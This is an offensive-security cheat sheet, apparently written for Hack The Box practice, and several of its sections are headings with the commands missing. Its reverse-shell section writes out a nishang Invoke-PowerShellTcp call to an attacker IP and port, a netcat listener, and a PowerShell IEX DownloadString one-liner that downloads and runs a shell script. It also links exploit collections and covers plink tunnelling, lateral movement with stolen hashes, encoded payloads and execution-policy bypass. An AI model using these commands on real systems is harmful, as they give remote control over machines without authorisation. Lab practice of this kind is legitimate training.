Useful commands

Reverse Shell File

# Payload
https://podalirius.net/en/articles/windows-reverse-shells-cheatsheet/

# File
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Client

#Add at the end of the file 
Invoke-PowerShellTcp -Reverse -IPAddress <attacker-ip> -Port <attacker-port>

#Host the file 
python3 -m http.server 8888

#Set up listener 
nc -nlvp 4444

Server

powershell IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:4444/shell.ps1')

Reverse shell generator

https://www.revshells.com

File upload

Client

Server

(Optional) Downloads folder

File exfiltration

Kali

Windows

Check if command is executed via cmd or powershell

World writeable paths

Check writeable paths script

Internal port forwarding

HTB blocks port 22 usage. In order to bypass that set the port to 2222 in sshd_config file. Also during the plink usage you have to specify the port by using -P 2222 flag.

Kali ssh configuration

Uncomment and change the PermitRootLogin line to:

Then enter this command in the terminal

Connection

Download plink.exe https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

Upload plink to the server using the way described in File Upload section.

Connect to kali ssh.

Hit enter multiple times.

Check if port is open on kali localhost

Connect to the open port using 127.0.0.1 IP on kali

Connections

RDP Connection

Normal

Retina display (MAC)

Domain

Evil-winrm

In order to use evil-winrm you need username and password of the user. Also make sure ports: 5985 or 5986 are open.

PsExec /wmiexec / smbexec

You can use psexec, smbexec if you have user credentials or NTLM hash. Any folder has to be writeable.

Credentials

Hash

Powershell BASE64 obfuscation

The command is encoded in Unicode (UTF-16) format.

Get the payload

Execute the payload

Powershell scripts do not run

Run the powershell in bypass mode:

Windows kernel exploits

https://github.com/SecWiki/windows-kernel-exploits

Last updated